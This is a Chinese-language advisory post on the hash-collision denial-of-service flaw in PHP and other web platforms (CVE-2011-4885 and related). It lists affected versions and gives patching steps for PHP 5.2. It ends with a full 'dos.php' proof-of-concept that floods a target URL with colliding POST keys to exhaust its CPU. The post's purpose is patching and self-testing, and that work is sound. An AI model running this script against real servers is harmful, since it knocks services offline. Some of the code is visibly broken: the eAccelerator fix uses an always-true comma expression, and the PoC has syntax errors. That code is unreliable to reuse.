前日有信息显示当前包括PHP、Java、Ruby在内的很多语言版本存在漏洞,PHP官方开发组成员Laruence(新浪微博)表示攻击者可以通过构造Hash冲突实现拒绝服务攻击,并提供了实例。这个攻击方法危害很高,攻击成本也很小,一个台式机可以轻松搞垮数十台、上百台服务器。
此漏洞一出,相当于随便一个攻击者就可以DDoS掉世界上的大部分网站!危害等级绝对是核弹级别。因此,PHP官方开发组紧急发布了补丁,请大家尽速修补。
PHP方面,<= 5.3.8, <= 5.4.0RC3的所有版本均会受此漏洞影响。PHP 5.3.9和PHP 5.4.0已经包含了针对此漏洞的补丁,但由于两个版本目前仍然在RC状态,无法用于生产服务器升级。至于PHP 5.2,官方开发组表示不会为了这个漏洞发布新版。
官方目前提供的解决方案是给自己的PHP环境打一个Patch,5.2和5.3都可以使用。Patch地址如下:
https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars
使用方法:
1. cd 到 php src,运行: patch -p1 < php-5.2.*-max-input-vars.patch 2. 最新的 PHP 5.3.9-RC4 已经修复了本漏洞,5.3 的用户可以直接升级到 5.3.9-RC4 。 当然,如果您不想更新到一个RC版本,那么也可以很简单的修改上面这个补丁,应用到 5.3 的相应版本上。
Laruence还建议其他语言java, ruby等,请各位也预先想好对策,限制post_size是治标不治本的方法,不过可以用来做临时解决方案。
临时解决方案参考:五四陈科学院
此外,微软也已经紧急发布了更新,修复了ASP.net上的该漏洞:
查询清单
目前已知的受影响的语言以及版本有::
·  Java, 所有版本
·  JRuby <= 1.6.5
·  PHP <= 5.3.8, <= 5.4.0RC3
·  Python, 所有版本
·  Rubinius, 所有版本
·  Ruby <= 1.8.7-p356
·  Apache Geronimo, 所有版本
·  Apache Tomcat <= 5.5.34, <= 6.0.34, <= 7.0.22
·  Oracle Glassfish <= 3.1.1
·  Jetty, 所有版本
·  Plone, 所有版本
·  Rack, 所有版本
·  V8 JavaScript Engine, 所有版本
不受此影响的语言或者修复版本的语言有::
·  PHP >= 5.3.9, >= 5.4.0RC4
·  JRuby >= 1.6.5.1
·  Ruby >= 1.8.7-p357, 1.9.x
·  Apache Tomcat >= 5.5.35, >= 6.0.35, >= 7.0.23
·  Oracle Glassfish, N/A (Oracle reports that the issue is fixed in the main codeline and scheduled for a future CPU)
·  CVE: CVE-2011-4885 (PHP), CVE-2011-4461 (Jetty), CVE-2011-4838 (JRuby), CVE-2011-4462 (Plone), CVE-2011-4815 (Ruby)
修补步骤:
提示:在修复之前,可以按照下面 测试步骤 模拟攻击一次,看看效果
1、 下载补丁包
https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars
2、cd 到php安装的源码包目录(安装php时释放的目录,已configure过的,在这里就不用configure了,直接make && make install)
3、 打补丁
patch -p1 < php-5.2.*-max-input-vars.patch
4、 make && make install  注意备份原程序!
5、 安装完后,重启php即可
问题处理:
打上临时补丁后,发现eAccelerator不好使了。
执行php -v 会提示
[eAccelerator] This build of “eAccelerator” was compiled for PHP version 5.2.17. Rebuild it for your PHP version (5.2.17p1) or download precompiled binaries.
主要是因为php版本号改变了导致eAccelerator报错。
找了一下eAccelerator的源码,发现是eaccelerator.c文件中,有检查php版本号的代码,主要是encode_version这个函数,找到
  1. else if (strncasecmp(buf, “beta”, 4) == 0) {
  2.          a = 3;
  3.         sscanf(buf, “beta%u”, &b);
  4. }
  5. 这行,在下面添加如下代码
  6. else if (buf, “p1%u”, &b) {
  7.        a = 0;
  8.        b = 0;
  9. }

提示:文中提到的ea版本是0.9.6.1+ 的,每个版本的代码可能不一样,选择这个可以解决问题
重新编译eAccelerator,再次执行 php -v,已无报错,重启cgi,eAccelerator目录已有重新重成的文件,
测试步骤:
1、服务器端不需任何配置,在攻击机放置一个dos.php文件,内容如下:
  1. <?php
  2. $host = ‘http://www.xxx.org/index.php’; 修改为服务器任何一个可以访问的php文件
  3. $data = ;
  4. $size = pow(2, 15);
  5. for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
  6. {
  7. $data .= ‘&array[‘ . $key . ‘]=0’;
  8. }
  9. $ret = curl($host, ltrim($data,‘&’));
  10. var_dump($ret);
  11. function curl($url, $post, $timeout = 30){
  12.     $ch = curl_init();
  13.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  14.     curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
  15.     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout – 5);
  16.     curl_setopt($ch, CURLOPT_HTTPHEADER, array(‘Expect:’));
  17.     curl_setopt($ch, CURLOPT_URL, $url);
  18.     curl_setopt($ch, CURLOPT_POST, true);
  19.     curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  20.     $output = curl_exec($ch);
  21.     if ($output === falsereturn false;
  22.     $info = curl_getinfo($ch);
  23.     $http_code = $info[‘http_code’];
  24.     if ($http_code == 404) return false;
  25.     curl_close($ch);
  26.     return $output;
  27. }
  28. ?>

2、运行这个脚本即可,注意观察被攻击的服务器cpu利用率(top指令)。